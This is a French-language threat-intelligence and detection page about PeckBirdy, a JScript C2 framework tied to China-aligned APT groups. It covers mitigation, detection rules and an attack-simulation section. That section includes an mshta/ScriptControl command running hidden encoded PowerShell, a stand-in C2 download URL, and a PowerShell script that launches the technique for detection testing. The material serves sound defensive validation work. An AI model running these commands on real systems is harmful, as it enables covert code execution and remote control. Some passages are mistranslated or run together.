PeckBirdy : Un cadre de script polyvalent pour l’exploitation des LOLBins utilisé par des groupes de menaces alignés sur la Chine
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
PeckBirdy est un framework de commande et contrôle basé sur JScript utilisé par des acteurs APT alignés avec la Chine pour abuser des binaires « living-off-the-land » et déployer des portes dérobées modulaires, y compris HOLODONUT et MKDOOR. Il est conçu pour s’exécuter sur plusieurs environnements d’exécution — navigateurs web, MSHTA, WScript, NodeJS et .NET — et il prend en charge plusieurs options de transport telles que WebSocket, Flash, Comet et HTTP. Le framework a été observé dans des campagnes suivies sous les codes SHADOW-VOID-044 et SHADOW-EARTH-045, ciblant les ressources de jeux en ligne, les portails web gouvernementaux asiatiques et une organisation du secteur de l’éducation.
Enquête
Les chercheurs ont signalé des injections de scripts malveillants sur des sites de jeux compromis et des pages gouvernementales qui ont téléchargé le chargeur PeckBirdy, qui a ensuite récupéré des charges utiles complémentaires, notamment une exploitation Chrome (CVE-2020-16040) et des composants de porte dérobée supplémentaires. L’activité a été liée à deux implants modulaires, HOLODONUT et MKDOOR, et connectée à des groupes et des schémas d’infrastructure précédemment observés. L’analyse a également catalogué des indicateurs de compromission, y compris des adresses IP, des domaines et des détails opérationnels tels que l’utilisation de certificats de signature de code volés.
Atténuation
Bloquez les domaines et adresses IP malveillants identifiés, et surveillez l’utilisation atypique de LOLBin et l’exécution de scripts via MSHTA, WScript et NodeJS. Détectez la création de la unique_id fichier dans %TEMP% et appliquez une validation stricte des certificats de signature de code. La couverture pour les charges utiles Cobalt Strike connues et les assemblages .NET générés par Donut peut encore réduire l’exposition.
Réponse
Si détecté, isolez les systèmes affectés, collectez le script injecté et tous les binaires de porte dérobée produits, et bloquez l’infrastructure C2 associée. Effectuez une analyse médico-légale pour le déplacement latéral et mettez à jour la logique de détection des artefacts en ligne de commande observés et des modèles de trafic réseau.
Flux d’attaque
Détections
LOLBAS WScript / CScript (via process_creation)
Voir
Comportement de contournement défensif suspect LOLBAS MSHTA par détection des commandes associées (via process_creation)
Voir
Modification suspecte d’exclusions de Defender via WMIC (via cmdline)
Voir
IOC (HashSha1) à détecter : PeckBirdy : un cadre de script polyvalent pour l’exploitation de LOLBins utilisé par les groupes de menaces alignés sur la Chine
Voir
IOC (SourceIP) à détecter : PeckBirdy : un cadre de script polyvalent pour l’exploitation de LOLBins utilisé par les groupes de menaces alignés sur la Chine
Voir
IOC (DestinationIP) à détecter : PeckBirdy : un cadre de script polyvalent pour l’exploitation de LOLBins utilisé par les groupes de menaces alignés sur la Chine
Voir
Utilisation de MSHTA et ScriptControl pour l’exécution de PeckBirdy [Création de processus Windows]
Voir
Détection de l’injection de script malveillant PeckBirdy et de la collecte d’informations d’identification [Serveur Web]
Voir
Exécution de la simulation
Condition préalable : le contrôle préalable de télémétrie et de base doit avoir été réussi.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.
-
Narrative & Commandes de l’attaque :
L’adversaire souhaite établir un canal de contrôle à distance en utilisant le framework script PeckBirdy. Ils choisissent script framework. They choosemshta.execar c’est un binaire Windows signé qui contourne la plupart des listes blanches d’applications. La charge utile intègre unobjet ScriptControlActiveX pour exécuter le code JScript récupéré à partir d’un serveur C2. Les étapes sont :- Télécharger la charge utile JScript malveillante à partir du C2 (par exemple,
http://malicious.c2/payload.js). - Lancer
mshta.exeavec unURI javascript :intégré qui crée uneobjet ScriptControlinstance, charge le script téléchargé et l’exécute. - Le code JScript établit un écouteur TCP inverse, complétant l’ancrage.
La ligne de commande exacte qui produit la télémétrie est :
mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"Cette commande contient à la fois
mshta.exeet la chaîneobjet ScriptControl, satisfaisant la condition Sigma. - Télécharger la charge utile JScript malveillante à partir du C2 (par exemple,
-
Script de régression :
Le script ci-dessous automatise l’invocation malveillantemshta. Il peut être exécuté sur une station de travail de test sous un compte administratif.#------------------------------------------------- # Exécution de PeckBirdy via mshta + ScriptControl #------------------------------------------------- $c2Url = "http://malicious.c2/payload.js" $jsCode = @" var sc = new ActiveXObject('ScriptControl'); sc.Language = 'JScript'; // Simple beacon – replace with real payload sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");'); "@ # Encode the JScript payload to avoid line‑break issues $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)" Write-Host "[*] Launching malicious mshta..." Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow -
Commandes de nettoyage :
Supprimez tous les artefacts créés par le test (par exemple, le fichier temporaire).#------------------------------------------------- # Nettoyage après la simulation de PeckBirdy #------------------------------------------------- Write-Host "[*] Nettoyage des artefacts de test..." Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue # Arrête tous les processus mshta persistants démarrés par le test Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force